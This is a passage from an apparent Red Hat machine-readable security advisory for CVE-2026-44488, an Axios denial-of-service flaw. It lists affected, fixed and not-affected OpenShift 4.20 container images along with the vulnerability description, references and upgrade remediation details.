"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487949"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. When using the fetch adapter, Axios did not properly enforce configured request and response size limits. This vulnerability allows a remote attacker, through a malicious or compromised server, or by supplying a large data URL, to send or receive oversized data bodies. This can lead to resource exhaustion in server-side applications, resulting in a Denial of Service (DoS).",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Denial of Service due to unenforced request and response size limits",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A denial of service flaw was found in Axios, a JavaScript HTTP client library. This issue arises when applications utilize the `fetch` adapter, as configured request and response size limits are not properly enforced. A remote attacker could exploit this by sending or receiving excessively large data bodies, leading to resource exhaustion and potential denial of service in affected server-side applications.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44488"
},
{
"category": "external",
"summary": "RHBZ#2487949",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487949"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44488"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44488",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44488"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf"
}
],
"release_date": "2026-06-11T15:37:38.013000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
